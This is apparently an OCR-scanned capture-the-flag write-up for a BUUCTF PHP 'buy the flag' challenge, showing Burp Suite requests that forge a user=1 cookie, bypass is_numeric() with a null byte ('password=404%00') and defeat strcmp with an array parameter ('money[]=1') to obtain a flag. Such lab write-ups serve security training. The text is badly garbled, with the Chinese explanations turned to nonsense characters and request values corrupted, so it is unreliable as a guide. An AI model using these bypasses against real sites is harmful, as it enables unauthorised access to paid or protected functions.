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FLAG NEED YOUR 100000000 MONEY

ATTENTION

If you want to buy the FLAG:
You must be a student from CUIT!!
You must be answer the correct password!!!

Only Cuit's students can buy the FLAG

BE MRS EIR R

post money and password
if 'password’
'password’
if
echo "password can't be number</br>"
elseif 404

echo "Password Right!</br>"

IEAMCE
FEIEIT rposT i AAENZE password BB, H is_numeric() BREFRH] T2 E ¢password NEENEER, (HNFELDL
& $password & T 404



ff FIBurpSuite IMEX E 8, &H F Cookie [HHH user=0:

Connection: close <P
Cookie: user=0 Only Cuit's students can buy the FLAG</br>
Upgrade-Insecure-FRequests: 1 </p=

B CookieH i) user=1 :

Connection: close <p=
Cookie: user=1 you are Cuiter</br:>Please input your password!!
Upgrade-Insscure-Reqgquests: 1 </ p>

RAREEN cuiter , HRBEMAEN, WIFEZ RGN, #H %00 BW is_numeric() BEMIHIW, FrLliid posT e
A password=404%00 :

Request

jRaw I Params I Headers T Hex }

POST Spay.php HTTE/L.L

Host: S97b337e8-5Zb7-4£87-acB8l-936£348fcdas3l . node3 .buucj.cn

TUser-Agent: Mozilla/5.0 (Windows NT 10.0:; Win€d4; x€4: rv:280.0) Gecko/I0100101 Firefox/B0.0
Aocept: text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
Aocept-Language: zh-CH, zh:;oq=0.8, sh-TW;=0.7, zh-HE; =0.5,en-U03;q=0.3,en; g=0.2
Content-Type: application/w-www-form-urlencodsd

Content-Length: 15

Origin: http://97b337e9-52b7-4687-ac82-936348fcda3l . nodes3 . buuol.cn

Connection: close

Referer: http://97b337e9-52b7-4F87-ac82-836348€fcda3l. . nodeld .buuoj.cn/pay. php
Cookie: user=1

Upgrade-Insecure-Requests: 1

password=404%00

ESERBEES HRAN: PosT, FHBIMPOSTL{EE: Content-Type: application/x-www-form-urlencoded , 5[5

i

</ p=

<hr />

<p>

you are Cuiter</brrPassword Right!</br>Pay for the f£lag!!'hacker!!!</lr>

</

<hr /=

= ¥ = )
FEMASDH, HHETEEANSE money HI{H:
Cookis: user=1 B S <p>
Upgrade-Insecure-Requests: 1 you are Cuiter</br>Password Right!</br>Nember lenth is too long</br>

</p>
1Jassward=‘lD‘l%DU&money=lUUDDDDUU|

<hr />

BN R E money EHI, RARTHFIEK, HEEIResponse PHPiR A :



Response

J Raw I Headers I Hex I HTML T Render }

HTTE/1l.1 200 OK

Server: openrssty

Date: Wed, 14 Oct Z0Z0 0E6:56:58 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 248g

Connection: close

¥-Powered-EBy: PHP/5.3.3

HEWT A BN 8 GLF4RF, FIREA stremp() BRECHINT, BTUCRAZASE, WiEWT PosT 1%
Z: password=404%008&money[]=1 :

Request

J Raw T Params I Headers T Hex }

POST /pay.php HTTP/L.1

Host: 97b33728-52bh7-4687-acB82-936348fcdasl . node3 .buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winfd4; x64; rv:80.0) Gecko/Z0100101
Firefox/80.0

Aocept: text/html,application/xhtml+4xml, application/xml;q=0.9, image/webp, */*;q=0.8
Aocept-Language: zh-CH, zh:;oq=0.8, zh-TW;=0.7, 2h-HE; =0.5,en-U03:q=0.3,en;g=0.2
Content-Type: application/x-www-form-urlencodsd

Content-Length: Z5

Origin: http://97b337e9-52b7-468T-ac82-936348fcda3l . nodes3 . buuol.cn
Connection: close

Referer: http://97b337e9-52b7-4687-ac82-836348€fcda3l . . nodeld .buuoj.cn/pay. php
Cookie: user=1

Upgrade-Insecure-Requests: 1

password=4D4%DD&money[]=4

Ri&%yE AR Elflag:

Response

J FiawI Headers I Hex I HTML T Render ]

You must he

</p=
<hr />
<px
you are Cuiter</br>Password Right!</hr>flag{965572d5-02ad-4cd3-bh7b4-55169h339412}
</br>

</ p>
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